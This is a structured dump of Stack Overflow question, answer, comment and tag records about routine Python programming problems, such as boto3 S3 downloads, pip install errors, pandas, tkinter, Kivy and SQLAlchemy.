has body: File "C:\Program Files\Python36\lib\site-packages\boto3\s3\inject.py", line 130, in download_file extra_args=ExtraArgs, callback=Callback) File "C:\Program Files\Python36\lib\site-packages\boto3\s3\transfer.py", line 307, in download_file future.result() File "C:\Program Files\Python36\lib\site-packages\s3transfer\futures.py", line 73, in result return self._coordinator.result() File "C:\Program Files\Python36\lib\site-packages\s3transfer\futures.py", line 233, in result raise self._exception File "C:\Program Files\Python36\lib\site-packages\s3transfer\tasks.py", line 255, in _main self._submit(transfer_future=transfer_future, **kwargs) File "C:\Program Files\Python36\lib\site-packages\s3transfer\download.py", line 353, in _submit **transfer_future.meta.call_args.extra_args File "C:\Program Files\Python36\lib\site-packages\botocore\client.py", line 324, in _api_call return self._make_api_call(operation_name, kwargs) File "C:\Program Files\Python36\lib\site-packages\botocore\client.py", line 622, in _make_api_call raise error_class(parsed_response, operation_name) botocore.exceptions.ClientError: An error occurred (404) when calling the HeadObject operation: Not Found Why am i getting this exception only for some files? i've a S3 folder (/test/files/) with 25 files (A1.tmp, A2.tmp etc .... A25.tmp). only 2 files (A5.tmp, A6.tmp) are getting downloaded. Could anyone please suggest a solution for this? any help is appreciated. Code i'm using : def download_contents_s3(self, access_key, secret_access_key, region, content, dir_name) : session=self.create_session_s3(access_key,secret_access_key,region) if path.exists(dir_name) is False : os.mkdir(dir_name) for item in content : os.chdir(dir_name) path_to_file = ("/".join(item.strip("/").split('/')[1:])) container_name = Path(item).parts[1] b = session.Bucket(container_name) gen = b.objects.all() li=[] for i in gen : li.append(i.key) if path_to_file in li : fl = os.path.basename(path_to_file) print(fl) c = self.splitall(it…
has title: While downloading a folder contents from Amazon S3 using boto3, only some files get downloaded and for others, i get the following exception :
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85910384
upvote count: 1
tagged with: python
tagged with: boto3
has comment: http://stackoverflow.com/comment/85896738
answer count: 0
has comment: http://stackoverflow.com/comment/85903486
tagged with: amazon-s3
score: 1
has comment: http://stackoverflow.com/comment/85924500
downvote count: 0
tagged with: cloud-storage
favorite count: 0
type: Question

http://stackoverflow.com/q/49466965
type: Question
has answer: http://stackoverflow.com/a/49481435
has comment: http://stackoverflow.com/comment/85962626
answer count: 2
has comment: http://stackoverflow.com/comment/85942128
tagged with: pip
tagged with: python
tagged with: m2crypto
has title: pip install python-adb failed
accepted answer: http://stackoverflow.com/a/49481435
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/51800017
possible better answer: http://stackoverflow.com/a/51800017
has body: I want to install Python-adb using pip V9.0.3. When Im trying to install python-adb, but I always get the same error as you can see at the bottom. I also tried it installing it per CMD with admin rights on pip/pip3. What I already tried: - CMD with/without admin rights - pip/pip3 installation - installed mingw for C++ errors Im currently using Python3.6 on Windows 7 64Bit Output: Collecting python-adb Using cached python_adb-1.1.1-py3-none-any.whl Requirement already satisfied: libusb1&gt;=1.0.16 in c:\users\alex\appdata\local\programs\python\python 36\lib\site-packages (from python-adb) Collecting M2Crypto&gt;=0.21.1 (from python-adb) Using cached M2Crypto-0.29.0.tar.gz Requirement already satisfied: six in c:\users\alex\appdata\local\programs\python\python36\lib\site- packages (from python-adb) Installing collected packages: M2Crypto, python-adb Running setup.py install for M2Crypto ... error Complete output from command c:\users\alex\appdata\local\programs\python\python36\python.exe -u -c "import setuptools, tokenize;__file__='C:\\Users\\Alex\\AppData\\Local\\Temp\\pip-build-nwjmz2a0\ \M2Crypto\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n') ;f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\Alex\AppData\Local\Temp\ pip-1s9ml6zw-record\install-record.txt --single-version-externally-managed --compile: running install running build running build_py copying M2Crypto\ASN1.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\AuthCookie.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\BIO.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\BN.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\callback.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\DH.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\DSA.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\EC.py -&gt; build\lib.win-amd64-3.6\M2Crypto copying M2Crypto\Engine.py -&gt; build\lib.win…
linked to: http://stackoverflow.com/q/25110774
tagged with: installation
has comment: http://stackoverflow.com/comment/85942154

http://stackoverflow.com/q/49471081
has title: Using simple code to get the average (in Python) of an entire column in a csv file
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/49471098
score: 1
has answer: http://stackoverflow.com/a/49471328
has comment: http://stackoverflow.com/comment/85944800
tagged with: python
answer count: 4
tagged with: numpy
possible better answer: http://stackoverflow.com/a/49471235
has answer: http://stackoverflow.com/a/49471249
has comment: http://stackoverflow.com/comment/85944817
has answer: http://stackoverflow.com/a/49471235
downvote count: 0
upvote count: 1
has body: I've seen similar questions, but never one that gives a simple straightforward pythonic answer. I'm simply trying to get the average for the "high" column in a csv file. import csv import numpy as np with open('2010-Jan-June.csv', 'r', encoding='utf8', newline='') as f: highs = [] for row in csv.DictReader(f, delimiter=','): high = int(row['high']) print(sum(highs)/len(highs)) My csv looks like this: date,high,low,precip 1-Jan,43,41,0 2-Jan,50,25,0 3-Jan,51,25,0 4-Jan,44,25,0 5-Jan,36,21,0 6-Jan,39,20,0 7-Jan,47,21,0.04 8-Jan,30,14,0 9-Jan,30,12,0
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85944887
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49471098

http://stackoverflow.com/q/49510609
favorite count: 0
has comment: http://stackoverflow.com/comment/86025319
type: Question
answer count: 0
has body: I'm working on a transfer project and want to polish it up by enabling the user to send a receipt to their email address from inside the tkinter GUI. I've managed to send emails to another gmail account but if I try to send to an outlook account nothing happens, no errors popup in IDLE and the code keeps running smoothly (weird). Below is the code I'm using right now and am simply wondering how I could modify it to make outlook sending work. import smtplib content = 'example' mail = smtplib.SMTP('smtp.gmail.com',587) mail.ehlo() mail.starttls() mail.login('notmyactualemail@gmail.com','notmyactualpassword') mail.sendmail('notmyactualemail@gmail.com','emailiwanttosendto',content) mail.close()
downvote count: 0
upvote count: 1
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86026809
has title: Send email from gmail account to an outlook account with python?
score: 1
has comment: http://stackoverflow.com/comment/86033435
has comment: http://stackoverflow.com/comment/86025612

http://stackoverflow.com/comment/86064013
has text: and what happens if you switch to the "OUTPUT" tab at the bottom ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49529153
score: 4

http://stackoverflow.com/q/49540153
tagged with: flask
has body: I have a pandas dataframe by using this code: frame['count'] = 1 frame['age_group'] = pd.cut(frame.age, [0,10,20,30,40,50,60,70,80,90,100]) age_grp = frame.pivot_table('count', index='age_group', columns='gender', aggfunc='sum').fillna(0). and the dataframe looks like this gender F M age_group (0, 10] 0.0 0.0 (10, 20] 0.0 0.0 (20, 30] 2.0 0.0 (30, 40] 6.0 5.0 (40, 50] 15.0 4.0 (50, 60] 35.0 24.0 (60, 70] 47.0 30.0 (70, 80] 24.0 6.0 (80, 90] 1.0 2.0 (90, 100] 0.0 0.0 How can I loop this dataframe properly? im planning to use a double bar chart using chartjs with this data. *attempting to try this iterate over pandas dataframe in jinja2 {% for key,value in x.iterrows() %} &lt;option value="{{ value['id'] }}"&gt;{{ value['text'] }}&lt;/option&gt; {% endfor %} trying to print the boundaries.
tagged with: pandas
duplicate of: http://stackoverflow.com/q/16476924
duplicate of: http://stackoverflow.com/q/35555383
has comment: http://stackoverflow.com/comment/86087497
answer count: 1
has title: Pandas Dataframe in Flask
upvote count: 1
has comment: http://stackoverflow.com/comment/86087948
has comment: http://stackoverflow.com/comment/86087877
linked to: http://stackoverflow.com/q/7837722
favorite count: 0
score: -1
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86087980
linked to: http://stackoverflow.com/q/40830975
has answer: http://stackoverflow.com/a/49540591
downvote count: 2
has comment: http://stackoverflow.com/comment/86087775
tagged with: python

graph
tags question: http://stackoverflow.com/q/49442244
tags question: http://stackoverflow.com/q/49463964
tags question: http://stackoverflow.com/q/49500411
tags question: http://stackoverflow.com/q/49466110
tags question: http://stackoverflow.com/q/49468875
tags question: http://stackoverflow.com/q/49594240
tags question: http://stackoverflow.com/q/49480361
tags question: http://stackoverflow.com/q/49587251
tags question: http://stackoverflow.com/q/49581292
tags question: http://stackoverflow.com/q/49525458
tag name: graph
type: Tag
tags question: http://stackoverflow.com/q/49491199
tags question: http://stackoverflow.com/q/49488640
tags question: http://stackoverflow.com/q/49538582
tags question: http://stackoverflow.com/q/49473998
tags question: http://stackoverflow.com/q/49457804
tags question: http://stackoverflow.com/q/49483526
tags question: http://stackoverflow.com/q/49546449
tags question: http://stackoverflow.com/q/49461673
tags question: http://stackoverflow.com/q/49475664

http://stackoverflow.com/q/49475664
tagged with: graph
has answer: http://stackoverflow.com/a/49482856
has body: Concerning the following code, which is a subset of my calculation game app, I have two questions: 1) Why is dummy_series not plotted, although the axes (with ticks and labels are drawn) 2) How do I get the quit button to properly exit the app (does it have to remove all widgets from the root widget? Is there an oposite to AppObject.run(), that stops the app? - SOLVED: App.get_running_app().stop() For the first question, the relevant part of the code is found in the StatisticScreen and the PlotScreen classes. The first one creates the dummy_series, initializes the creation of the graph widget and changes the screen to the PlotScreen. In the PlotScreen class, there is showPlot methods, which is basically copied from the github README. So far I tried to change the overall background color to white. Both by "canvas before" a white rectangle, and by really changing the background color of the window. Both had no effect (exept the axes and labels were hidden, because they are also white). Then I tried to color the graph differently each time I create it (taken from the same github repo, there is a TestApp in if __name__ == '__main__':). But there is still no graph. For the second question please consider the changeScreen-method of CalculationRoot. If it is called with quit as the argument, currently it just empties the screen_list and returns False. The idea was to call the callback of the "Back"-Button (key=27,1000). Since closing the App with the "Back"-Button actually works, given the screen_list is empty, I thought I could use this existing process. Also scheduling the keyHandler-method of the app object CalculationApp does not have the desired effect of closing the app. # Python build-in Modules import os import operator # better handling of +, #, *, etc. import webbrowser # access homepages via the about section import random # create random math questions import datetime # for the timer import itertools # eg for cycling colors from functools import partial # sched…
answer count: 1
tagged with: plot
has title: Kivy garden graph: axes are drawn but plot is missing
type: AnsweredQuestion
score: 0
tagged with: python
tagged with: kivy
has comment: http://stackoverflow.com/comment/85961996
accepted answer: http://stackoverflow.com/a/49482856
type: Question

http://stackoverflow.com/a/49540079
answers question: http://stackoverflow.com/q/49539866
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
has body: First code def CSV_Creation(): with open('test.csv', 'r') as csv_file: csv_reader = csv.reader(csv_file) for row in csv_reader: print(row) CSV_Creation() Second Code: def CSV_Creation(): #os.getcwd()#if there is an issue check right here for testing and debugging os.chdir(os.path.expanduser("~/Documents")) #os.getcwd() #second test to determine the correct path is being used print (os.getcwd()) # f = open("~/Documents/'test.csv'") with open('test.csv', 'r') as csv_file: csv_reader = csv.reader(csv_file) for row in csv_reader: print(row) CSV_Creation()
has comment: http://stackoverflow.com/comment/86087833
type: Answer
accepted answer of: http://stackoverflow.com/q/49539866

sqlite
tags question: http://stackoverflow.com/q/49441238
tags question: http://stackoverflow.com/q/49581759
tags question: http://stackoverflow.com/q/49597743
tags question: http://stackoverflow.com/q/49595848
tags question: http://stackoverflow.com/q/49499577
tags question: http://stackoverflow.com/q/49531988
tags question: http://stackoverflow.com/q/49562499
tags question: http://stackoverflow.com/q/49471279
tags question: http://stackoverflow.com/q/49572033
tags question: http://stackoverflow.com/q/49504751
tags question: http://stackoverflow.com/q/49554728
tags question: http://stackoverflow.com/q/49492600
type: Tag
tags question: http://stackoverflow.com/q/49443436
tags question: http://stackoverflow.com/q/49441984
tags question: http://stackoverflow.com/q/49586657
tags question: http://stackoverflow.com/q/49515411
tags question: http://stackoverflow.com/q/49459417
tags question: http://stackoverflow.com/q/49452348
tags question: http://stackoverflow.com/q/49530021
tags question: http://stackoverflow.com/q/49563592
tags question: http://stackoverflow.com/q/49473984
tags question: http://stackoverflow.com/q/49592459
tags question: http://stackoverflow.com/q/49585834
tags question: http://stackoverflow.com/q/49549248
tags question: http://stackoverflow.com/q/49574040
tags question: http://stackoverflow.com/q/49464114
tags question: http://stackoverflow.com/q/49473598
tags question: http://stackoverflow.com/q/49476030
tags question: http://stackoverflow.com/q/49593427
tags question: http://stackoverflow.com/q/49500117
tags question: http://stackoverflow.com/q/49536460
tags question: http://stackoverflow.com/q/49588966
tags question: http://stackoverflow.com/q/49459663
tags question: http://stackoverflow.com/q/49532229
tags question: http://stackoverflow.com/q/49456158
tags question: http://stackoverflow.com/q/49456848
tags question: http://stackoverflow.com/q/49558988
tags question: http://stackoverflow.com/q/49514039
tags question: http://stackoverflow.com/q/49503235
tag name: sqlite
tags question: http://stackoverflow.com/q/49542870
tags question: http://stackoverflow.com/q/49449897
tags question: http://stackoverflow.com/q/49536714
tags question: http://stackoverflow.com/q/49498538
tags question: http://stackoverflow.com/q/49596280

merge
type: Tag
tags question: http://stackoverflow.com/q/49522818
tags question: http://stackoverflow.com/q/49589522
tags question: http://stackoverflow.com/q/49572546
tag name: merge
tags question: http://stackoverflow.com/q/49477999
tags question: http://stackoverflow.com/q/49490262
tags question: http://stackoverflow.com/q/49501315
tags question: http://stackoverflow.com/q/49486674
tags question: http://stackoverflow.com/q/49583500
tags question: http://stackoverflow.com/q/49479568
tags question: http://stackoverflow.com/q/49522126
tags question: http://stackoverflow.com/q/49495344
tags question: http://stackoverflow.com/q/49576729
tags question: http://stackoverflow.com/q/49473087
tags question: http://stackoverflow.com/q/49485759

http://stackoverflow.com/comment/86026575
type: AnswerComment
has text: yes, you are right. Just using pd.date_range() on a datetime object like this `datetime.datetime(2017, 1, 13, 23, 50)` also shows the seconds.
score: 0
comment on: http://stackoverflow.com/a/49509049
type: Comment

http://stackoverflow.com/comment/86041722
type: Comment
type: AnswerComment
has text: Apologies, I import numpy and some things from math earlier in the notebook.
score: 0
comment on: http://stackoverflow.com/a/49518073

http://stackoverflow.com/comment/85920154
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49455355
type: Comment
has text: that was an empiric answer, based on code that we've developped. OP seems to state that `wx.Close` also generates run time error. I didn't test this but you seem to advise `wx.CallAfter(frame.Close)`. Why not?

http://stackoverflow.com/comment/86019200
score: 1
comment on: http://stackoverflow.com/a/49507274
type: Comment
has text: or just `x = Order.objects.create(...)` which does both `x = Order(); x.save()` in a single operation.
type: AnswerComment

http://stackoverflow.com/comment/85952091
has text: As a sidenote, why are you not just making a very simple `.bat` file instead, doing what you want? What is the benefit of using a Python `subprocess`?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49460986
type: Comment

http://stackoverflow.com/q/49592791
has comment: http://stackoverflow.com/comment/86199437
has comment: http://stackoverflow.com/comment/86199347
tagged with: alphanumeric
answer count: 0
score: 1
tagged with: non-alphanumeric
downvote count: 0
has comment: http://stackoverflow.com/comment/86446965
upvote count: 1
tagged with: pynput
has body: How to keep track of alphanumeric characters and non special characters (space bar, delete, tab, etc) in pynput. I am using the below code. This code outputs only the special characters and not any other characters input through keyboard. from pynput.keyboard import Key, Listener #defining function to print when key is pressed def on_press(key): print('{0} pressed'.format(key)) #defining function to print when key is released def on_release(key): print('{0} release'.format(key)) if key == Key.esc: # Stop listener return False # Collect events until released with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
favorite count: 0
has comment: http://stackoverflow.com/comment/86199366
type: Question
has title: Cannot record alphanumeric characters with pynput python
tagged with: listener
has comment: http://stackoverflow.com/comment/123203986
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86200052
has comment: http://stackoverflow.com/comment/86194041
has comment: http://stackoverflow.com/comment/86200076
tagged with: python
has comment: http://stackoverflow.com/comment/86193391

http://stackoverflow.com/q/49598916
tagged with: tkinter
answer count: 2
has comment: http://stackoverflow.com/comment/86205620
score: 1
linked to: http://stackoverflow.com/q/38086482
tagged with: user-interface
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86245341
has body: I want to know if it is possible to repack a frame which I destroyed earlier in python tkinter. Is this even possible? How can I accomplish this?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86206922
type: UnansweredQuestion
has title: How to recreate a destroyed frame in tkinter?
tagged with: python
has answer: http://stackoverflow.com/a/49623505
has comment: http://stackoverflow.com/comment/86242692
has answer: http://stackoverflow.com/a/49600204
has comment: http://stackoverflow.com/comment/86205021

http://stackoverflow.com/a/49594248
upvote count: 3
has body: Here is an example: import json def get_inputs(): #user input to record the log name = input("Name:") d = {} d['date'] = input('Enter a date in YYYY-MM-DD format:') d['hours'] = input("Hours:") return(name,d) out = {} while True: exit = input('Do you want to add another input (y/n)? ') if exit.lower() == 'n': break else: name, d = get_inputs() out[name] = d with open('names.json','w') as f: json.dump(out, f, indent=2) And then: import pandas as pd print(pd.read_json('names.json')) And you have: Jessica date 2014-12-01 hours 12
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49593972
score: 3
answers question: http://stackoverflow.com/q/49593972
type: Answer

http://stackoverflow.com/comment/86130008
type: Comment
has text: Can you please add an explanation? This by itself only helps the OP so much.
type: AnswerComment
score: 2
comment on: http://stackoverflow.com/a/49558079

http://stackoverflow.com/comment/85986456
type: Comment
score: 0
type: AnswerComment
has text: In the output `.csv` file, I'm just getting the headers 'MEAN' and 'MAX', there are no values under the column
comment on: http://stackoverflow.com/a/49490904

http://stackoverflow.com/comment/85913693
has text: Please point me in the direction where someone can expand on the meanings of rcond and singular values.
type: QuestionComment
comment on: http://stackoverflow.com/q/49455211
score: 1
type: Comment

http://stackoverflow.com/q/49596388
tagged with: python
has comment: http://stackoverflow.com/comment/86200013
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49596589
score: 0
has comment: http://stackoverflow.com/comment/86200017
has comment: http://stackoverflow.com/comment/86200239
accepted answer: http://stackoverflow.com/a/49597093
answer count: 3
has answer: http://stackoverflow.com/a/49597093
has comment: http://stackoverflow.com/comment/86200184
has answer: http://stackoverflow.com/a/49596825
tagged with: background
has body: I want to run a python script as a process/in the background. I searched and found pythonw.exe but when I do pythonw.exe name_of_my_script.py nothing happened. Am I doing something wrong and/or how else would I run it in the background? This is part of my code that do problem : from selenium import webdriver I will thank you for any help whatsoever. note: With the help of the comments here, I understood that also python.exe running don't work and bring error - NameError: name 'PROTOCOL_TLS' is not defined ( even tough in normal running it doesn't have errors. edit: i used http://pytoexe.com/ and i got exe file that work but the cmd console still exist ( mabye it because i use phantomjs ? ) click here
has comment: http://stackoverflow.com/comment/86201190
type: Question
has comment: http://stackoverflow.com/comment/86200320
linked to: http://stackoverflow.com/q/24041935
has title: How to run python script on background/as a process?
has answer: http://stackoverflow.com/a/49596589
has comment: http://stackoverflow.com/comment/86200042
tagged with: background-process
tagged with: process

http://stackoverflow.com/comment/85928721
score: 0
comment on: http://stackoverflow.com/q/49450643
type: Comment
type: QuestionComment
has text: @jonrsharpe you may be right and I am sorry about that however, I wish that one reads the question more precisely.

http://stackoverflow.com/a/49497421
score: 1
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/49497061
has body: IIUC: input['Comments'] = input.Comments.sort_values().values Output: Comments Country Name 1 X USA Sam 2 Y UK Chris 3 Z Finland Jeff 4 NaN Spain Kartik 5 NaN Australia Maven
downvote count: 0

http://stackoverflow.com/comment/86001054
comment on: http://stackoverflow.com/q/49497671
has text: with your edited question, I think it should be as easy as `x.groupby('OriginID').apply(lambda x: np.sum(x.Budget<15))`
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/49498818
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49498948
has comment: http://stackoverflow.com/comment/86001614
has title: Iteration over lines of a file fail
has answer: http://stackoverflow.com/a/49498948
type: Question
upvote count: 2
downvote count: 0
answer count: 1
tagged with: file
tagged with: python
tagged with: iteration
favorite count: 0
has body: I've wrote this script to find all the lines that are not followed by this: (currentLine + " downloaded") with open('filename') as f: for line in f: if not line.strip('\n') + " downloaded\n" in f: print line It just print the first match and ends the iteration. For example, for this file: WhatsApp Windows Live Mail Windows Live Mail downloaded XChat XChat downloaded Zimbra TGZ to PST Converter Zimbra TGZ to PST Converter downloaded ZOOK DBX to EML Converter ZOOK DBX to EML Converter downloaded ZOOK DBX to EMLX Converter ZOOK DBX to EMLX Converter downloaded ZOOK DBX to MBOX Converter ZOOK DBX to MBOX Converter downloaded ZOOK DBX to MSG Converter I expect it to print WhatsApp and ZOOK DBX to MSG Converter. But it just print first match which is WhatsApp.

http://stackoverflow.com/comment/85914211
score: 1
type: Comment
has text: Just a note, `self.Destroy()` will achieve the same result ,in this example, as `self.Close()`
type: AnswerComment
comment on: http://stackoverflow.com/a/49454801

http://stackoverflow.com/a/49573876
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/49570077
has body: get_queryset should return a QuerySet, not a Response. Yet you can still act as if it isn't valid by raising an validation exception: from rest_framework.exceptions import ValidationError def get_queryset(self): ... else: raise ValidationError({"error": ["You don't have enough permission."]})
type: Answer
score: 4

http://stackoverflow.com/q/49523453
has body: I want to change the value of some zeros in my matrix created with the zeros() function: import sympy as sp my_matrix = sp.zeros(3,4) for i in range(3): for j in range(4): my_matrix[i][j] += 1 Which yields: TypeError: 'Zero' object does not support indexing How can I change their value? Or alternatively, how can I create a matrix (which I can manipulate) full of zeros? Is a for loop the only way?
type: AnsweredQuestion
score: 0
answer count: 1
has title: How to change the value of a 'zeros' matrix in sympy
type: Question
tagged with: sympy
has answer: http://stackoverflow.com/a/49523517
accepted answer: http://stackoverflow.com/a/49523517
tagged with: python

http://stackoverflow.com/comment/86093066
comment on: http://stackoverflow.com/a/49538084
score: 0
type: AnswerComment
has text: @Thefourthbird Thanks! That's what I was looking for.
type: Comment

http://stackoverflow.com/q/49515180
has comment: http://stackoverflow.com/comment/86062672
tagged with: sqlalchemy
type: Question
has comment: http://stackoverflow.com/comment/86065366
has comment: http://stackoverflow.com/comment/86066594
has comment: http://stackoverflow.com/comment/86065604
answer count: 0
has body: # -*- coding: UTF-8 -*- from sqlalchemy import * from sqlalchemy.orm import * from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import event Base = declarative_base() class Employee(Base): __tablename__ = 'employee' sid = Column(Integer, primary_key=True) name = Column(String(50)) type = Column(String(50)) __mapper_args__ = { 'polymorphic_identity':'employee', 'polymorphic_on':type } class Manager(Employee): __tablename__ = 'manager' id = Column(Integer, ForeignKey('employee.sid'), primary_key=True) manager_name = Column(String(30)) __mapper_args__ = { 'polymorphic_identity':'manager', } e = create_engine('mysql+pymysql://root:@localhost/test?charset=utf8', echo=False) Base.metadata.create_all(e) s = Session(e) b=Manager() b.id=101 b.name="manager" b.manager_name="jack" s.add(b) s.commit() this code run first time, result is below: ---table employee--- sid, name, type 1 manager manager ---table manager--- id, manager_name 1 jack I think the id and Sid should be 101 this code run second times, result is below: ---table employee--- sid, name, type 1 manager manager 2 manager manager ---table manager--- id, manager_name 1 jack 2 jack I think it should insert row failed. Because the employee table has the sid with 101 , can't insert same Sid record. Instead, the record inserted with sid value 1. Run the code again, insert a new record with sid value 2. Why the result like this?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86058752
has comment: http://stackoverflow.com/comment/86078883
has comment: http://stackoverflow.com/comment/86066561
score: 0
has title: SQLAlchemy insert a record with ForeignKey, why the ForeignKey auto increase?
tagged with: python

http://stackoverflow.com/a/49548656
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86104488
has body: A solution using numpy slicing - import numpy as np def get_sum(matrix, row, col): # Get the sum of 4 numbers to the left sum_left_4_numbers = matrix[row, max(col - 4, 0):col].sum() # Get the sum of 4 numbers to the right sum_right_4_numbers = matrix[row, col:col + 4].sum() # Get the sum of 4 numbers above sum_top_4_numbers = matrix[max(row - 4, 0):row, col].sum() # Get the sum of 4 numbers below sum_bottom_4_numbers = matrix[row + 1: row + 4, col].sum() return sum_left_4_numbers + sum_right_4_numbers + sum_top_4_numbers + sum_bottom_4_numbers matrix = np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12], [13, 14, 15, 16]]) print get_sum(matrix, 1, 2) # Output - 55
type: Answer
has comment: http://stackoverflow.com/comment/86104433
answers question: http://stackoverflow.com/q/49548040
downvote count: 0

http://stackoverflow.com/a/49546390
type: Answer
upvote count: 1
has body: You're getting an error because spacing has meaning in python and your while block is improperly indented. Proper spacing goes like this: while user_input != "": user_input = input ("Guess: ") if input == "user_input": print ("You've chosen that square already") break else: print ("Hit", user_input) Of course this won't ever trigger the if statement, because input isn't an object you've initialized, and certainly doesn't match the string "user_input", but an error-free while statement should be enough to get you started.
answers question: http://stackoverflow.com/q/49546271
score: 1
downvote count: 0

http://stackoverflow.com/q/49597497
upvote count: 0
downvote count: 2
has answer: http://stackoverflow.com/a/49598426
accepted answer: http://stackoverflow.com/a/49598426
answer count: 1
tagged with: web
tagged with: flask
has body: I'm adding two other pages in my python flask and heroku (free plan) web app: http://www.getrandomnumbers.com/, but I get a ERR_SSL_PROTOCOL_ERROR when I try to reach my new pages (whatever the web browser I use).
favorite count: 0
type: Question
tagged with: heroku
score: -2
tagged with: ssl
tagged with: python
has title: python flask and heroku webapp ERR_SSL_PROTOCOL_ERROR
type: AnsweredQuestion

http://stackoverflow.com/q/49505262
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86014707
has comment: http://stackoverflow.com/comment/86014596
duplicate of: http://stackoverflow.com/q/15479928
linked to: http://stackoverflow.com/q/38975722
possible better answer: http://stackoverflow.com/a/49505476
tagged with: python
accepted answer: http://stackoverflow.com/a/49505296
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49505296
answer count: 2
has comment: http://stackoverflow.com/comment/86014606
score: 1
downvote count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/15479928
has title: Looping through python dictionary always producing different results
has answer: http://stackoverflow.com/a/49505476
has body: I have the following piece of code in Python 3.4 message = {'function':'TIME_SERIES_INTRADAY', 'symbol':'MSFT', 'interval':'15min', 'apikey':'demo'} for key1 in message: print(key1) The above code is always printing the keys in different order every time I run it. Is there a way to make it in order as it is assigned?

http://stackoverflow.com/q/49563983
tagged with: struct
tagged with: pack
type: UnansweredQuestion
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/49564090
upvote count: 1
favorite count: 0
score: 1
has body: I need to use struct module to pack hex string of '4EA7' to 2bytes, here is what I did: struct.pack('&lt;H',int('4EA7',16)) '\xa7N' question is why it's not returning \x4E\xA7? Thanks
tagged with: python
has title: pack hex string using struct module
type: Question

http://stackoverflow.com/q/49466238
accepted answer: http://stackoverflow.com/a/49466291
has title: Find arrays of ndarray that are in another ndarray - Python
has comment: http://stackoverflow.com/comment/85935148
tagged with: multidimensional-array
has comment: http://stackoverflow.com/comment/85935145
tagged with: python
has body: I was wondering if there's any built-in method to find arrays of a ndarray that are contained into another ndarray. i.e. arr1 = [[1,2], [2,9], [3,7], [5,11], [32,5], [11,4], [89,3], [37,5]] and arr2 = [[12,44], [2,9], [125,3], [37,5]] I would like to know if there's any built-in method to identify that [2,9] and [37,5] are the only arrays of arr2 contained into arr1. Or to identify their indexes.
type: AnsweredQuestion
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49467452
score: 0
linked to: http://stackoverflow.com/q/8317022
possible better answer: http://stackoverflow.com/a/49467361
answer count: 3
has answer: http://stackoverflow.com/a/49467361
has answer: http://stackoverflow.com/a/49466291
type: Question

http://stackoverflow.com/q/49563516
type: Question
has comment: http://stackoverflow.com/comment/86135237
has title: Correct way and location of importing packages
has comment: http://stackoverflow.com/comment/86135203
tagged with: python
linked to: http://stackoverflow.com/q/6372159
has answer: http://stackoverflow.com/a/49931246
upvote count: 2
type: UnansweredQuestion
answer count: 1
has body: I have a utils.py file in which I store most of the functions that I use in my main code. Just to be safe, I import a lot of the common libraries such as numpy, pandas, etc. in the main code as well as in the utils.py. However, while spring-cleaning my code today, I was wondering if that is the best way to import libraries. I realize that Python does not re-load the module that has already been loaded (unless explicitly asked to reload numpy as np). But if I import numpy as np in utils.py, do I need to import these libraries again in the main code files? I think that if I import libraries in the main code, then their namespace should be globally available, and thus I won't have to import them again in the utils.py. Is that correct?
score: 1
downvote count: 1
linked to: http://stackoverflow.com/q/19077381
favorite count: 0

http://stackoverflow.com/q/49469671
type: UnansweredQuestion
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49469735
score: -3
has answer: http://stackoverflow.com/a/49469776
has answer: http://stackoverflow.com/a/49469773
has comment: http://stackoverflow.com/comment/85941881
tagged with: python
has body: Here's the simple python 3 object code from the web that is not platform dependent.. I cannot get working class Employee: def __init__(self, first, last, pay): self.first = first self.last = last self.pay = pay self.email = first + '.' + last + '@company.com' def fullname(self): return '{}{}'.format(self.first, self.last) emp_1 = Employee('John','Doe','80000') emp_2 = Employee('Jane','Foo','90000') emp_2.fullname() print (Employee.fullname(emp_1)) print (emp_2.fullname()) The error I get is as follows: NameError Traceback (most recent call last) in () ----> 1 class Employee: 2 3 def init(self, first, last, pay): 4 self.first = first 5 self.last = last in Employee() 10 return '{}{}'.format(self.first, self.last) 11 ---> 12 emp_1 = Employee('John','Doe','80000') 13 emp_2 = Employee('Jane','Foo','90000') 14 NameError: name 'Employee' is not defined
has title: Trying Python 3 code for this simple Employee object and I'm stuck
has comment: http://stackoverflow.com/comment/85941873
